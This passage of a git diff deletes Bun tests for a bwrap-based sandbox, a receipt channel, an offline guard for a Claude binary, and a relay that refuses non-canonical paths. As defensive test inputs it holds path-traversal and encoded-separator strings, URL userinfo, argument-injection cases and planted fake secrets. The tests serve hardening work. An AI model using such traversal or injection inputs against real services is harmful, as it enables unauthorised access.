text=labelNativeMountErrors("bwrap: Can't create file at /etc/odysseus.conf: Read-only file system\nbwrap: Can't create file at /home/circe/private.config: Permission denied"); - expect(text).toContain("[mount-target etc]");expect(text).toContain("[mount-target home-outside-fixture]"); - expect(text).not.toContain("circe");expect(text).not.toContain("odysseus.conf");expect(text).not.toContain("private.config"); -}); diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts deleted file mode 100644 index d8b992af97..0000000000 --- a/tests/native-receipt-channel.test.ts +++ /dev/null @@ -1,208 +0,0 @@ -/** Harmless Bun/bwrap processes prove guard records never enter child stderr. */ -import { expect, test } from "bun:test"; -import { mkdtempSync, mkdirSync, copyFileSync, rmSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; -import { captureNativeReceipts,nativeReceiptBwrapInsertion,inheritNativeReceipts } from "../scripts/native-test-receipts"; -import {watchdogMs} from "../scripts/test-deadlines"; -const receiptModule=join(import.meta.dir,"../scripts/native-test-receipts.ts"); -test("receipt owner retains every record across real stderr backpressure",async()=>{ - const {spawn}=await import("node:child_process"); - const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};console.log("READY");await Bun.stdin.text();for(let index=0;index<1024;index++)nativeReceipt({kind:"fixture-backpressure",index,payload:"x".repeat(4096)});`; - const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT; - // Match the nonblocking pipe used by the unit worker, rather than Node's - // default blocking inherited stderr descriptor. - const launch=`import os\nos.set_blocking(2,False)\nos.execv(${JSON.stringify(process.execPath)},[${JSON.stringify(process.execPath)},"-e",${JSON.stringify(script)}])`; - const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const c=require("node:child_process").spawn("/usr/bin/python3",["-I","-S","-c",${JSON.stringify(launch)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; - const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["pipe","pipe","pipe"]});let stderr=""; - child.stderr.on("data",part=>{stderr+=part;});child.stderr.pause(); - let resume:ReturnType|undefined; - child.stdout.once("data",()=>{resume=setTimeout(()=>child.stderr.resume(),150);child.stdin.end("go");}); - try{ - const code=await new Promise(resolve=>child.once("close",resolve)); - expect(code,"RECEIPT_BACKPRESSURE_MUST_NOT_FAIL_THE_LAUNCH: "+stderr.slice(-1024)).toBe(0); - const rows=stderr.split("\n").filter(Boolean).map(line=>JSON.parse(line)); - expect(rows.map(row=>row.index),"RECEIPT_BACKPRESSURE_MUST_NOT_DROP_OR_DUPLICATE_RECORDS").toEqual(Array.from({length:1024},(_,index)=>index)); - }finally{clearTimeout(resume);child.stderr.resume();} -},watchdogMs(30000)); -for(const view of ["plain","clearenv","userns"] as const)test(`guard-owned receipts bypass ${view} child stderr`,async()=>{ - const capture=captureNativeReceipts(); - try{ - const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};nativeReceipt({kind:"native-offline-audit",head:"${"a".repeat(40)}",success:true,nativeLaunched:true,fixture:true});console.log("Odysseus protocol");`; - const argv=view==="plain"?[process.execPath,"-e",script]:["bwrap",...(view==="userns"?["--unshare-user"]:[]),"--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--clearenv","--setenv","PATH","/usr/bin:/bin",process.execPath,"-e",script]; - const child=Bun.spawn(argv,{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(out.trim()).toBe("Odysseus protocol");expect(err,"CHILD_STDERR_IS_PROTOCOL_ONLY").toBe(""); - expect(JSON.parse(capture.read())).toMatchObject({kind:"native-offline-audit",success:true,fixture:true}); - }finally{capture.dispose();} -}); - -test("protocol-only worker bootstrap receives no guard receipt authority",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-protocol-fds-")),capture=captureNativeReceipts(); - try{ - const directory=join(root,"ui-sdk/src/server");mkdirSync(directory,{recursive:true}); - const script=join(directory,"worker-entry.ts");writeFileSync(script,`import {readdirSync,readFileSync,readlinkSync} from "node:fs";const extra=[];for(const name of readdirSync("/proc/self/fd")){const fd=Number(name);if(fd<=2)continue;try{const flags=readFileSync("/proc/self/fdinfo/"+fd,"utf8").match(/^flags:\\s+([0-7]+)/m)?.[1];if(flags&&!(parseInt(flags,8)&0o2000000)&&readlinkSync("/proc/self/fd/"+fd)!=="/dev/urandom")extra.push(fd);}catch{}}console.log(JSON.stringify({extra,receipt:process.env.BRAIN_NATIVE_RECEIPT??null}));`); - const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:root,...capture.env},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(JSON.parse(out),"WORKER_HAS_NO_RECEIPT_DESCRIPTOR").toEqual({extra:[],receipt:null});expect(capture.read()).toBe(""); - }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} -}); - -test("an already-exited bootstrap still reports numeric exit evidence through the owner channel",async()=>{ - const capture=captureNativeReceipts(); - try{ - const script=`import {recordNativeGuardChild,nativeBootstrapStatus} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))};const child=Bun.spawn(["/usr/bin/true"],{stdout:"ignore",stderr:"ignore"});await child.exited;recordNativeGuardChild(child,true);await Promise.resolve();console.log(JSON.stringify(nativeBootstrapStatus(child.pid)));`; - const child=Bun.spawn([process.execPath,"-e",script],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(err).toBe("");expect(JSON.parse(out)).toEqual({exitCode:0,signalCode:null}); - const records=capture.readRecords().filter(row=>row.kind==="native-offline-bootstrap-exit");expect(records).toHaveLength(1); - expect(records[0]).toMatchObject({kind:"native-offline-bootstrap-exit",exitCode:0,signal:null}); - expect(capture.read(),"NO_INTERVALS_ON_BOOTSTRAP_OWNER_CHANNEL").not.toContain("native-guard-interval"); - }finally{capture.dispose();} -}); - - -test("copied preload modules retain the same owner channel after environment consumption",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-copied-receipts-")),capture=captureNativeReceipts(); - try{ - const copied=join(root,"receipts.ts");copyFileSync(receiptModule,copied); - const script=`import {nativeReceipt} from ${JSON.stringify(copied)};nativeReceipt({kind:"native-offline-audit",success:true,fixture:"copied-preload"});`; - const child=Bun.spawn([process.execPath,"-e",script],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(err,"COPIED_PRELOAD_STDERR_IS_CLEAN").toBe("");expect(JSON.parse(capture.read()).fixture).toBe("copied-preload"); - }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} -}); - -test("a userns fixture that closes extra descriptors reopens only the exact private receipt file",async()=>{ - const capture=captureNativeReceipts(); - try{ - const code=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};nativeReceipt({kind:"native-offline-audit",fixture:"userns-closed-fd"});`; - const python='import os,json,sys\nvalue=json.loads(os.environ["BRAIN_NATIVE_RECEIPT"])\nos.close(value["fd"])\nos.execv(sys.argv[1],sys.argv[1:])'; - const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--","/usr/bin/python3","-I","-S","-c",python,process.execPath,"-e",code],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); - const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(exit,"USERNS_CLOSED_DESCRIPTOR_RECEIPT_SURVIVES "+err).toBe(0);expect(err).toBe("");expect(JSON.parse(capture.read()).fixture).toBe("userns-closed-fd"); - }finally{capture.dispose();} -}); - - -test("receipt insertion recognizes implicit bwrap payloads and preserves readonly ordering",()=>{ - const file="/tmp/odysseus-receipts/records"; - expect(nativeReceiptBwrapInsertion(["bwrap","--unshare-net","--ro-bind","/","/","--proc","/proc","--dev","/dev","/usr/bin/true"],file),"BWRAP_PROBE_WITHOUT_SEPARATOR").toBe(9); - const argv=["bwrap","--ro-bind","/","/","--tmpfs","/tmp","--remount-ro","/tmp","--","/usr/bin/true"]; - expect(nativeReceiptBwrapInsertion(argv,file),"RECEIPT_BIND_PRECEDES_FINAL_READONLY_PARENT").toBe(argv.indexOf("--remount-ro")); -}); - -test("receipt carrier survives an implicit probe and a readonly fixture tmp without changing final policy",async()=>{ - const probe=Bun.spawnSync(["bwrap","--unshare-net","--ro-bind","/","/","--proc","/proc","--dev","/dev","/usr/bin/true"],{stdout:"pipe",stderr:"pipe"});expect(probe.exitCode,"REAL_BWRAP_PROBE_STILL_SPAWNS "+probe.stderr).toBe(0); - const capture=captureNativeReceipts(); - try{ - const code=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};import {writeFileSync} from "node:fs";let readOnly=false;try{writeFileSync("/tmp/odysseus-unrelated","unexpected")}catch(e){readOnly=e.code==="EROFS";}if(!readOnly)throw Error("FIXTURE_TMP_REMAINS_READONLY");nativeReceipt({kind:"native-offline-audit",fixture:"readonly-tmp"});`; - const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--remount-ro","/tmp",process.execPath,"-e",code],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); - const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,"READONLY_FIXTURE_RECEIPT_SURVIVES "+err).toBe(0);expect(JSON.parse(capture.read()).fixture).toBe("readonly-tmp"); - }finally{capture.dispose();} -}); - - -test("bwrap channel injection never interprets literal payload or environment arguments as options",()=>{ - const capture=captureNativeReceipts(); - try{ - const command=["bwrap","--ro-bind","/","/","--clearenv","--setenv","ODYSSEUS_LITERAL","--clearenv","/usr/bin/printf","%s","--clearenv"]; - const inherited=inheritNativeReceipts({env:{...capture.env}},command,"pipe"); - expect(inherited.argv.filter(arg=>arg==="BRAIN_NATIVE_RECEIPT"),"ONLY_REAL_BWRAP_CLEARENV_GETS_CHANNEL").toHaveLength(1); - expect(inherited.argv.slice(-3),"BWRAP_PAYLOAD_ARGUMENTS_ARE_BYTE_IDENTICAL").toEqual(["/usr/bin/printf","%s","--clearenv"]); - }finally{capture.dispose();} -}); - - -test("pure bwrap version inspection remains a real harmless process",()=>{ - const result=Bun.spawnSync(["bwrap","--version"],{stdout:"pipe",stderr:"pipe"});expect(result.exitCode,"BWRAP_VERSION_PROBE_STILL_SPAWNS "+result.stderr).toBe(0);expect(result.stdout.toString()).toContain("bubblewrap"); -}); - - -test("a receipt descriptor cannot declare a different bind source",()=>{ - const capture=captureNativeReceipts(),root=mkdtempSync(join(tmpdir(),"odysseus-receipt-alias-")); - try{ - const token=JSON.parse(capture.env.BRAIN_NATIVE_RECEIPT!);token.path=root; - expect(()=>inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify(token)}},["bwrap","--ro-bind","/","/","--","/usr/bin/true"],"pipe"),"RECEIPT_BIND_IS_THE_EXACT_PRIVATE_FILE").toThrow("Native receipt file is unavailable"); - }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} -}); - -for(const mode of ["reused-owner","closed-fd","permission","forged-token"] as const)test(`receipt authority failure stays scoped: ${mode}`,async()=>{ - const capture=captureNativeReceipts(); - try{ - const script=`import * as fs from "node:fs";import {spyOn} from "bun:test";import {nativeReceipt,inheritNativeReceipts} from ${JSON.stringify(receiptModule)}; - const state=globalThis[Symbol.for("brain-kit.test.native-receipt-owner")],sink=state.sink,mode=${JSON.stringify(mode)}; - if(!sink)throw Error("LIVE_INHERITED_OWNER_REQUIRED"); - let rejected=false,restore; - if(mode==="reused-owner")sink.ownerStart="0"; - if(mode==="closed-fd")fs.closeSync(sink.fd); - if(mode==="permission"){const read=fs.readFileSync;restore=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{if(path==="/proc/"+sink.ownerPid+"/stat")throw Object.assign(Error("denied"),{code:"EACCES"});return read(path,...args);});} - try{if(mode==="forged-token")inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify({...sink,ownerStart:"0"})}},["/usr/bin/true"],"pipe");else nativeReceipt({fixture:"must-not-write"});}catch{rejected=true;}finally{restore?.mockRestore();} - if(!rejected||state.degraded)throw Error("INVALID_AUTHORITY_MUST_REFUSE_NOT_DEGRADE");console.log("INVALID_AUTHORITY_REFUSED"); - `; - const child=Bun.spawn([process.execPath,"-e",script],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,err).toBe(0);expect(capture.read(),"FAILED_AUTHORITY_WRITES_NOTHING").toBe(""); - expect(out).toContain("INVALID_AUTHORITY_REFUSED"); - expect(err,"INVALID_AUTHORITY_NEVER_DEGRADES").not.toContain("native-receipt-degraded"); - }finally{capture.dispose();} -}); - -for(const mode of ["dead-owner","orphaned"] as const)for(const refusal of [false,true])test(`expired receipt delivery: ${mode}, refusal=${refusal}`,async()=>{ - const capture=captureNativeReceipts(); - try{ - const script=`import * as fs from "node:fs";import {spyOn} from "bun:test";import {nativeReceipt,inheritNativeReceipts} from ${JSON.stringify(receiptModule)}; - const state=globalThis[Symbol.for("brain-kit.test.native-receipt-owner")],sink=state.sink,read=fs.readFileSync; - if(!sink)throw Error("LIVE_INHERITED_OWNER_REQUIRED"); - const restore=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{ - if(${JSON.stringify(mode)}==="dead-owner"&&path==="/proc/"+sink.ownerPid+"/stat")throw Object.assign(Error("gone"),{code:"ENOENT"}); - if(${JSON.stringify(mode)}==="orphaned"&&path==="/proc/"+process.pid+"/status")return String(read(path,...args)).replace(/^PPid:.*$/m,"PPid: 1"); - return read(path,...args); - }); - try{ - nativeReceipt({fixture:"must-not-write"}); - const child=inheritNativeReceipts({env:{}},["/usr/bin/true"],"pipe"); - if(child.options.env.BRAIN_NATIVE_RECEIPT||state.sink||!state.degraded)throw Error("EXPIRED_OWNER_RETAINS_AUTHORITY"); - nativeReceipt({fixture:"must-not-write-again"});console.log("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); - if(${refusal}){nativeReceipt({kind:"native-offline-boundary",success:false,reason:"fixed fixture refusal"});process.exit(0);} - }finally{restore.mockRestore();}`; - const child=Bun.spawn([process.execPath,"-e",script],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,"A_REFUSAL_STILL_FAILS_LOCALLY "+err).toBe(refusal?1:0); - expect(capture.read(),"WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES").toBe(""); - expect(out).toContain("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); - expect(err.match(/native-receipt-degraded/g),"ONE_FIXED_DEGRADED_RECORD").toHaveLength(1); - if(refusal)expect(err,"REFUSAL_REMAINS_VISIBLE_WITHOUT_OWNER").toContain("fixed fixture refusal"); - }finally{capture.dispose();} -}); - -test("an owner's exit refusal survives receipt sink cleanup and fails locally",async()=>{ - const {spawn}=await import("node:child_process"); - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),network=join(import.meta.dir,"../scripts/test-network-guard.ts"),binary=join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"); - const script=`import {installNetworkGuard} from ${JSON.stringify(network)};import {refuseNativeClaude} from ${JSON.stringify(guard)};import {bundledClaudeBinary} from ${JSON.stringify(binary)}; - installNetworkGuard();try{refuseNativeClaude(bundledClaudeBinary());}catch{}process.exit(0);`; - // This process must own its sink, rather than inherit the test runner's one. - // Only metadata is inspected; the installed runtime is never executed. - const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT; - const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(script)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; - const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["ignore","pipe","pipe"]});let stderr="";child.stderr.on("data",part=>{stderr+=part;}); - const code=await new Promise(resolve=>child.once("close",resolve)); - expect(code,"EXIT_REFUSAL_STILL_FAILS_LOCALLY "+stderr).toBe(1); - const records=stderr.split("\n").filter(line=>line.startsWith("{")).map(line=>JSON.parse(line)); - expect(records.filter(value=>value.kind==="native-offline-boundary"),"INITIAL_REFUSAL_IS_RETAINED").toHaveLength(1); - expect(records.filter(value=>value.kind==="native-offline-invocation-failed"),"EXIT_REFUSAL_IS_RETAINED_AFTER_SINK_CLOSE").toHaveLength(1); - expect(stderr,"CLOSED_SINK_CANNOT_THROW_DURING_EXIT").not.toContain("Native receipt descriptor identity changed"); -}); - -test("receipt framing waits for a partial record and preserves concurrent complete records",async()=>{ - const {writeSync}=await import("node:fs"),capture=captureNativeReceipts(); - try{ - const descriptor=JSON.parse(Object.values(capture.env)[0]!).fd; - writeSync(descriptor,'{"kind":"partial-frame",');expect(capture.readRecords(),"PARTIAL_RECORD_IS_NOT_PARSED").toEqual([]); - writeSync(descriptor,'"complete":true}\n');expect(capture.readRecords()).toEqual([{kind:"partial-frame",complete:true}]); - const children=[0,1].map(writer=>Bun.spawn([process.execPath,"-e",`import {nativeReceipt} from ${JSON.stringify(receiptModule)};for(let index=0;index<32;index++)nativeReceipt({kind:"concurrent-frame",writer:${writer},index});`],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"})); - for(const child of children){const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,err).toBe(0);} - const rows=capture.readRecords();expect(rows).toHaveLength(65); - for(const writer of [0,1])expect(rows.filter(row=>row.kind==="concurrent-frame"&&row.writer===writer).map(row=>row.index),"CONCURRENT_RECORDS_STAY_FRAMED").toEqual(Array.from({length:32},(_,i)=>i)); - }finally{capture.dispose();} -}); diff --git a/tests/native-recording-wrapper.test.ts b/tests/native-recording-wrapper.test.ts deleted file mode 100644 index df5d9aa115..0000000000 --- a/tests/native-recording-wrapper.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { expect, test } from "bun:test"; -import { chmodSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import ts from "typescript"; -import { fixtureServicePost, fixtureShellQuote } from "../scripts/worker-effect-witness"; -import { compileSocketPolicy, nativeTestHead, startNativeTestRelay } from "../scripts/test-native-guard"; -import { watchdogMs } from "../scripts/test-deadlines"; - -test("actual recording wrapper posts selected argv then execs only version with no inference",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-recording-")),commands:string[]=[];let inference=0; - const server=Bun.serve({port:0,async fetch(req){if(new URL(req.url).pathname==="/fixture-command"){commands.push(await req.text());return new Response(null,{status:204});}inference++;return new Response(null,{status:400});}}); - const relay=startNativeTestRelay(server.url.origin),socket=join(relay.directory,"relay.sock"); - try{ - const source=readFileSync(join(import.meta.dir,"../packages/ui-server/tests/bundled-claude.test.ts"),"utf8"); - const ast=ts.createSourceFile("fixture.ts",source,ts.ScriptTarget.Latest,true); - const fn=ast.statements.find(n=>ts.isFunctionDeclaration(n)&&n.name?.text==="recordingWrapper")!; - const js=ts.transpile(fn.getText(ast),{target:ts.ScriptTarget.ESNext}); - const create=Function("nativeFixtureDirectory","scratch","join","writeFileSync","chmodSync","fixtureServicePost","fixtureShellQuote","process","wrapperCommands",js+";return recordingWrapper;")(()=>root,[],join,writeFileSync,chmodSync,fixtureServicePost,fixtureShellQuote,process,commands); - const {wrapper}=create(),info=statSync(socket,{bigint:true}),payload=join(root,"argv-payload"); - writeFileSync(payload,'#!/usr/bin/python3\nimport json,sys\nprint(json.dumps(sys.argv[1:]))\n');chmodSync(payload,0o755); - const child=Bun.spawn([compileSocketPolicy(),"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",wrapper,payload],{env:{PATH:"/usr/bin:/bin",BRAIN_TEST_EFFECT_SOCKET:socket,ANTHROPIC_BASE_URL:"http://127.0.0.1:43123"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - const [code,errors,output]=await Promise.all([child.exited,new Response(child.stderr).text(),new Response(child.stdout).text()]); - expect(commands,"RECORDING_WRAPPER_SHARED_CHANNEL").toEqual([payload]); - expect(JSON.parse(output),"RECORDED_RUNTIME_RECEIVES_ONLY_VERSION_ARGV").toEqual(["--version"]); - expect(code,"RECORDED_RUNTIME_EXEC_VERSION "+errors).toBe(0); - expect(inference,"RECORDING_WRAPPER_ZERO_INFERENCE").toBe(0); - }finally{relay.dispose();server.stop(true);rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-relay-base-path.test.ts b/tests/native-relay-base-path.test.ts deleted file mode 100644 index 3dba2309fa..0000000000 --- a/tests/native-relay-base-path.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -/** Declared IPC routing only; never starts an installed runtime. */ -import { expect, test } from "bun:test"; -import { join } from "node:path"; -import { nativeAdmittedRelayBaseUrl, nativeScriptedService } from "../scripts/test-native-guard"; -import { startInferenceRelay } from "../packages/ui-sdk/src/server/inference-relay"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; - -test("admitted custom base path reaches the exact real Unix relay route",async()=>{ - const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(request){return Response.json({path:new URL(request.url).pathname});}}); - const leave=nativeScriptedService(service.url.origin),upstream=service.url.origin+"/anthropic"; - const relay=startInferenceRelay({upstream,routes:["/v1/messages"],credentials:{authorization:"Bearer odysseus-fixture"}}); - try{ - const base=nativeAdmittedRelayBaseUrl("http://localhost/anthropic",true); - const response=await fetch(base+"/v1/messages",{unix:relay.socketPath,method:"POST",body:"{}"}); - expect(response.status,"ADMITTED_CUSTOM_RELAY_PATH_REACHES_MODEL").toBe(200); - expect(await response.json()).toEqual({path:"/anthropic/v1/messages"}); - expect((await fetch("http://localhost/v1/messages",{unix:relay.socketPath,method:"POST",body:"{}"})).status).toBe(403); - expect(nativeAdmittedRelayBaseUrl(upstream,false),"FALLBACK_RELAY_STAYS_AT_ROOT").toBe("http://localhost"); - expect(nativeAdmittedRelayBaseUrl("https://gateway.ithaca.invalid/Anthropic%20Route",true)).toBe("http://localhost/Anthropic%20Route"); - }finally{relay.stop();leave();service.stop(true);} -}); - -for(const [name,path] of Object.entries({dot:"/a/../anthropic",singleDot:"/a/./anthropic",encodedDot:"/%2e%2E/anthropic",encodedSlash:"/anthropic%2fsecret",backslash:"/anthropic\\secret",encodedBackslash:"/anthropic%5csecret",query:"/anthropic?q=1",hash:"/anthropic#secret",trailingSlash:"/anthropic/",rootSlash:"/"}))test(`admitted relay refuses ${name} path without normalization`,async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - const child=spawnGuardFixture([process.execPath,"-e",`import {nativeAdmittedRelayBaseUrl} from ${JSON.stringify(guard)};try{nativeAdmittedRelayBaseUrl(${JSON.stringify("http://localhost"+path)},true);}catch{}`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]); - expect(code,"NONCANONICAL_RELAY_PATH_MUST_REFUSE").not.toBe(0);expect(out).toContain("admitted relay base path is not canonical"); -}); - -test("admitted relay refuses URL userinfo",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - const child=spawnGuardFixture([process.execPath,"-e",`import {nativeAdmittedRelayBaseUrl} from ${JSON.stringify(guard)};try{nativeAdmittedRelayBaseUrl("http://odysseus:fixture@localhost/anthropic",true);}catch{}`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0);expect(out).toContain("admitted relay base path is not canonical"); -}); diff --git a/tests/native-relay-turn-diagnostic.test.ts b/tests/native-relay-turn-diagnostic.test.ts deleted file mode 100644 index df0aff8ddc..0000000000 --- a/tests/native-relay-turn-diagnostic.test.ts +++ /dev/null @@ -1,31 +0,0 @@ -import { expect, test } from "bun:test"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import ts from "typescript"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -import { nativeNamespaceEnvironment } from "../scripts/test-native-guard"; - -const root=join(import.meta.dir,".."); -test("relay turn records admit only bounded numeric state and scrub free-form outcomes",async()=>{ - const input={elapsedMs:12.7,aborted:true,requestDelta:1,refreshDelta:0,outcome:"MY_PASSWORD=odysseus-private",errorClass:"https://ithaca.invalid/private-token",env:{TOKEN:"odysseus-private"},message:"/home/circe/private.json"}; - const child=spawnGuardFixture([process.execPath,"-e",`import {recordNativeRelayTurn} from ${JSON.stringify(join(root,"packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts"))};recordNativeRelayTurn(${JSON.stringify(input)});recordNativeRelayTurn({elapsedMs:Infinity,aborted:false,requestDelta:-1,refreshDelta:2,outcome:"cancelled",errorClass:"timeout"});`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); - const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-fixture-relay-turn"')).map(line=>JSON.parse(line)); - expect(records).toHaveLength(2); - expect(Object.keys(records[0]).sort(),"ONLY_APPROVED_RELAY_DIAGNOSTIC_FIELDS").toEqual(["kind","head","elapsedMs","aborted","requestDelta","refreshDelta","outcome","errorClass"].sort()); - expect(records[0],"UNSAFE_RELAY_DIAGNOSTIC_VALUES_DROPPED").toMatchObject({elapsedMs:13,aborted:true,requestDelta:1,refreshDelta:0,outcome:null,errorClass:"unknown"}); - expect(records[1]).toMatchObject({elapsedMs:0,aborted:false,requestDelta:0,refreshDelta:2,outcome:"cancelled",errorClass:"timeout"}); - for(const secret of ["odysseus-private","ithaca.invalid","circe","private.json"])expect(out,"RELAY_DIAGNOSTICS_CONTAIN_NO_FREE_FORM_SECRETS").not.toContain(secret); -}); - -test("every touched relay fixture hang timer scales and the namespace retains its factor",()=>{ - let count=0; - for(const name of ["server-host-relay-probe","sdk-host-relay-probe","ordinary-host-relay-probe","host-relay-probe","relayed-runtime-traffic-probe"]){ - const file=join(root,"packages/ui-backend-claude/tests/fixtures",name+".ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); - const visit=(node:ts.Node)=>{if(ts.isCallExpression(node)&&ts.isIdentifier(node.expression)&&node.expression.text==="setTimeout"){ - count++;const duration=node.arguments[1];expect(duration&&ts.isCallExpression(duration)&&duration.expression.getText(source)==="watchdogMs","RELAY_HANG_GUARD_SCALED "+name).toBe(true); - }ts.forEachChild(node,visit);};visit(source); - } - expect(count).toBe(8); - const before=process.env.BRAIN_TEST_DEADLINE_FACTOR;try{process.env.BRAIN_TEST_DEADLINE_FACTOR="3";const args=nativeNamespaceEnvironment();const i=args.indexOf("BRAIN_TEST_DEADLINE_FACTOR");expect(args[i+1],"NAMESPACE_PRESERVES_WATCHDOG_FACTOR").toBe("3");}finally{if(before===undefined)delete process.env.BRAIN_TEST_DEADLINE_FACTOR;else process.env.BRAIN_TEST_DEADLINE_FACTOR=before;} -}); diff --git a/tests/native-restart-watchdog.test.ts b/tests/native-restart-watchdog.test.ts deleted file mode 100644 index d339d45cae..0000000000 --- a/tests/native-restart-watchdog.test.ts +++ /dev/null @@ -1,24 +0,0 @@ -/** Run the actual turn body with a controlled clock and a synthetic backend. */ -import { expect,test } from "bun:test"; -import ts from "typescript"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { watchdogMs } from "../scripts/test-deadlines"; -test("restart recover watchdog admits its second operation under simulated CPU load",async()=>{ - const source=ts.createSourceFile("restart.ts",readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/native-restart-versions.test.ts"),"utf8"),ts.ScriptTarget.Latest,true); - let turn:ts.FunctionDeclaration|undefined;function visit(node:ts.Node){if(ts.isFunctionDeclaration(node)&&node.name?.text==="turn")turn=node;ts.forEachChild(node,visit);}visit(source);expect(turn).toBeDefined(); - const code=ts.transpileModule(turn!.getText(source),{compilerOptions:{target:ts.ScriptTarget.ESNext}}).outputText; - const records:Record[]=[],timers=new Mapvoid;ms:number}>();let sequence=0; - const factory=new Function("expect","watchdogMs","recordNativeRelayTurn","setTimeout","clearTimeout","timers",` - let mode="read",sent=0,turns=0,environmentCalls=0,runtime,requests=0,sessionId,brain="/synthetic/brain"; - const MEASURED_RUNTIME={claudeCode:"synthetic"}; - const backend={async startTurn(request){environmentCalls++;runtime="synthetic";sent=1;requests++; - for(const timer of timers.values())if(timer.ms<=21000)timer.fn(); - if(!request.signal.aborted){sent=2;requests++;} - request.bridge.emit({type:"result",outcome:request.signal.aborted?"cancelled":"success"}); - }}; - ${code} - return ()=>turn("recover");`); - const run=factory(expect,(ms:number)=>watchdogMs(ms,{BRAIN_TEST_DEADLINE_FACTOR:"3"}),(value:Record)=>records.push(value),(fn:()=>void,ms:number)=>{const id=++sequence;timers.set(id,{fn,ms});return id;},(id:number)=>timers.delete(id),timers); - await 